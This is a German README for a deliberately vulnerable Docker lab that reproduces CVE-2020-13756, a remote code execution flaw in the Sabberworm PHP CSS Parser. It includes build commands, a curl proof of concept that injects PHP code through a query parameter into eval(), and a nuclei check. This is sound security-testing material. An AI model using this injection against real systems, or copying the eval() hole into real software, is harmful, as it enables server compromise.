
Verwundbare Testumgebung für CVE-2020-13756 (Sabberworm PHP CSS Parser RCE)
Verwundbare Testumgebung für CVE-2020-13756 - Sabberworm PHP CSS Parser Remote Code Execution.
| Feld | Wert |
|---|---|
| CVE | CVE-2020-13756 |
| Produkt | Sabberworm PHP CSS Parser |
| Betroffene Versionen | < 8.3.1 |
| Schweregrad | Kritisch (CVSS 9.8) |
| Typ | Remote Code Execution |
docker run -d -p 8080:80 $(docker build -q https://github.com/KrE80r/CVE-2020-13756-env.git)
Oder klonen und ausführen:
git clone https://github.com/KrE80r/CVE-2020-13756-env.git && cd CVE-2020-13756-env && docker-compose up -d
# Clone repository
git clone https://github.com/KrE80r/CVE-2020-13756-env.git
cd CVE-2020-13756-env
# Build and run
docker build -t sabberworm-vuln .
docker run -d -p 8080:80 sabberworm-vuln
# Test RCE - should print "VULN_TEST" in response
curl "http://localhost:8080/?n=100;printf(%22VULN_TEST%22);"
Die erwartete Ausgabe enthält VULN_TEST am Anfang, was die Codeausführung beweist.
nuclei -t CVE-2020-13756.yaml -u http://localhost:8080 -debug
Die Schwachstelle besteht in der Funktion getSelectorsBySpecificity(), die unsaubere Benutzereingaben an eval() übergibt:
// Vulnerable code path
$selectors = $doc->getSelectorsBySpecificity('> ' . $_GET['n']);
// When n=100;printf("test"); the eval() executes: eval('> 100;printf("test");')
Diese Umgebung ist ausschließlich für autorisierte Sicherheitstests gedacht. Verwenden Sie sie nicht gegen Systeme ohne Erlaubnis.
KrE80r - Sicherheitsforschung